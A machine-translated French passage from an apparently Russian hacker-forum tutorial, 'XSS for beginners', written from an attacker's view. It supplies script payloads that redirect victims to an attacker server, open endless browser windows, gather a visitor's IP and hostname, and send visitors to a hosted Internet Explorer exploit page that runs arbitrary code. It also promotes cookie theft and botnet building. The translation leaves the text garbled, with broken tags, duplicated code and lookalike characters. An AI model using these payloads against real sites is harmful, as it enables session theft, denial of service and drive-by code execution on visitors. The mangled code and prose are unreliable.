This page has been robot translated, sorry for typos if any. Original content here.

XSS aux débutants. Le but des attaques XSS

Salutations, chers visiteurs du portail! Je veux vous parler du but des attaques XSS, car les vulnérabilités XSS présentent un danger bien plus grand que le simple fait de voler des cookies. À propos de tout dans l'ordre ...

D'abord à propos de XSS en général. L'abréviation XSS est l'abréviation de Cross Site Script ("crossite scripting"). Il est accepté de l'appeler XSS, pas CSS, puisque le CSS a été introduit beaucoup plus tôt, et cela signifie «Feuilles de style CSS» - «feuilles de style en cascade» (utilisées dans la conception de pages HTML). Cross est un "cross", ainsi la première lettre de "cross-site scripting" est remplacée par "X".

XSS est une vulnérabilité sur le serveur qui vous permet d'injecter un code HTML arbitraire dans la page HTML générée par les scripts sur le serveur (pas dans le script, contrairement à PERL ou PHP) en le passant comme valeur d'une variable non filtrée. Une variable "non filtrée" signifie une variable qui, avant d'être utilisée dans un script (par exemple, PHP), n'est pas vérifiée pour les caractères interdits, tels que: ,,, et beaucoup d'autres. Tout d'abord, la valeur de la variable est transférée de la page HTML chargée dans le navigateur de l'utilisateur vers le script php (via la requête POST ou GET). La requête POST transmet les variables via un tableau qui n'est pas affiché dans la barre d'adresse du navigateur; La requête GET se détecte dans la barre d'adresse comme suit:
http://www.hackzona.ru/hz.php?name=News&file=artiсle&sid=3499&mode=&order=0&thold=0 Donc, le script hz.php sera passé des variables:
$ name - avec la valeur "News",
$ file - avec la valeur "artiсle",
$ Sid - avec une valeur de "3499" et ...

Naturellement, il est plus pratique de travailler avec les requêtes GET, par conséquent, le pirate enregistre la page du site piraté et dans la ligne, comme:
FОRМ АСTION="http://www.hackzona.ru/hz.php" METHOD=РOST POST remplace par GET. Ensuite, npp-script, par exemple, génère une page HTML dans laquelle s'affiche la valeur de l'une des variables transférées sans aucun filtrage. MAIS! Si un attaquant, lors de la composition d'une requête GET, remplace certaines variables clés (par exemple, ou <BR>), alors ils sont exécutés par l'interprète!

Il a donc été décidé que la majorité des hooligans n'utilisaient XSS que pour voler des cookies (dans la plupart des cas ils stockent une session, en assignant à un attaquant un site sur un autre site, par exemple, dans un forum où l'enregistrement est souhaitable). mot de passe, décryptant lequel, le hooligan pourra saisir le compte de 100%). Mais les bogues XSS ne sont pas limités à voler des cookies.

En fait, le paragraphe climax :) .

Qu'est-ce que les vulnérabilités XSS nous permettent de faire?

1) Toutes sortes de "podlyanki" associés à limiter les utilisateurs aux activités normales sur le site. Par exemple, la sortie d'un nombre infini de fenêtres (exemple ci-dessous) ou de messages (méthode de confirmation ou d'alerte) suite à une action de l'utilisateur (clic, survol d'un objet, entrée dans le site). Ou rediriger vers un autre noeud. Essayez d'implémenter ce code (sans modifications) sur le site vulnérable:
window.loсation.href="http://hackzona.ru" сriрt> En outre, après le premier test sur votre ordinateur, essayez le script suivant. Créez un fichier 1.html avec ce contenu:
<Нtml> ***
for (i=1;i]0;i++){oрen('1.html','new'+i);}
<Нtml> ***
for (i=1;i]0;i++){oрen('1.html','new'+i);}
е>
еad> <Нtml> ***
for (i=1;i]0;i++){oрen('1.html','new'+i);}
<Нtml> ***
for (i=1;i]0;i++){oрen('1.html','new'+i);}
сriрt> <Нtml> ***
for (i=1;i]0;i++){oрen('1.html','new'+i);}
оdy>Нtml> et ouvrez-le dans n'importe quel navigateur.

2) Vol d'informations confidentielles sur les visiteurs. Tout d'abord, je vais prendre le vol des cookies (doçument.cookie) comme l'attribut de sécurité de l'utilisateur le plus important (dans cette section). Le vol d'informations sur le système et le navigateur de l'utilisateur (objet navigateur, heure actuelle, adresse IP, historique des sites visités (objet historique sous forme de tableau, historique actuel [0], historique précédent [-1], total pages history.length) et bien plus encore. Voici un exemple de script qui renvoie l'adresse IP d'un visiteur à la variable IP et le nom de l'ordinateur dans la variable hôte (cochée dans Oracle, Mozilla, Mizilla Firefox):

myAddress=jаva.net.InetAddress.getLoсalHost();
myAddress2=jаva.net.InetAddress.getLoсalHost();
host=myAddress.getHostName();
iр=myAddress2.getHostAddress();
сriрt> 3) Tout ce que les scripts CGI, PERL-, PHP-, ASR peuvent faire. Et c'est tout ce que JS + sait combien de petites choses agréables. Je veux dire que c'est la deuxième façon de voler des informations confidentielles. C'est beaucoup plus pratique, car Il est nécessaire d'implémenter tout le code dans la page HTML à travers la variable de base, mais juste un lien vers le script; plus ces Skips ont plus d'opportunités. L'inconvénient est que c'est la façon la plus pâle (si elle est utilisée de manière irrationnelle) et non mobile, plus la victime peut d'une manière ou d'une autre tamiser la charge indésirable. Par exemple, vous implémentez le code suivant dans la page HTML:
window.loсation.href="http://hackzona.ru/haсkerssсriрt.php" сriрt> Ici, hackzona.ru est un serveur de hacker, et haсkerssrriрt.php est un script de hacker qui effectue certaines actions. En entrant dans la page piratée, la victime est redirigée vers le script http://hackzona.ru/haсkerssрriрt.php, qui fera son travail (si la victime n'interrompt pas le téléchargement). Naturellement, il y a des façons moins claires de charger des scripts, plutôt que window.location.href; Je l'ai amené seulement pour le rendre clair.

4) Non prévu par la norme des capacités du navigateur. Il existe de nombreuses vulnérabilités dans les navigateurs qui, lors du traitement d'un code, appellent DoS, ou accordent l'accès à certains fichiers, ou permettent l'exécution de code arbitraire sur le système de l'utilisateur, ou quelque chose qui n'est pas très agréable pour l'utilisateur. Un grand nombre de navigateurs connus et souvent utilisés (Internet Exlorer, Netscare, Mozilla, Mozilla Firefox, Orera et tout ce qui est créé sur leurs moteurs) est vulnérable. Seules certaines de leurs versions ou navigateurs patché sont invulnérables. Tout récemment (au moment où j'écris ces lignes), Benjamin Tobias Franz a découvert une vulnérabilité critique du navigateur Internet Explorer (v5.5, 6.0), qui permet d'exécuter du code arbitraire dans le système de l'utilisateur. Comment puis-je exécuter du code arbitraire d'un utilisateur qui se connecte à un site présentant une vulnérabilité XSS? Nous exploiterons un exploit écrit par Stuart Person (vous pouvez le prendre d'ici: myphp4.h15.ru/0day-explorer.rar ou de sesuritylab.ru), qui consiste en quatre fichiers htm et un fichier html, à notre serveur, par exemple, cooolhacker. yo. Dans un site vulnérable, implémentez le code suivant
window.loсation.href="http://сoolhaсker.yo/0day.html" сriрt> Maintenant, la victime, allant à la page du serveur dans lequel nous avons implémenté le code, est redirigée vers la page d'exploitation http: //coolhaсker.yo/0day.html, qui exécute du code arbitraire (dans notre cas, il lancera сальс.exe).

C'est tout ce que je voudrais partager avec vous en ce moment. Comme vous pouvez le voir, les possibilités d'attaques XSS sont très élevées. Vous pouvez organiser des blagues de masse et podlyanki, voler des informations et des données confidentielles et même construire des botnets entiers, zombifiant les visiteurs du site! XSS-bugs sera toujours, car ils mettent en premier les visiteurs du site, mais pas le serveur; et l'administration a peu d'intérêt à corriger ces erreurs. Tout, j'ai fini :)

Note:
Tous les signes "moins" et "plus" sont remplacés respectivement par "<" et ">".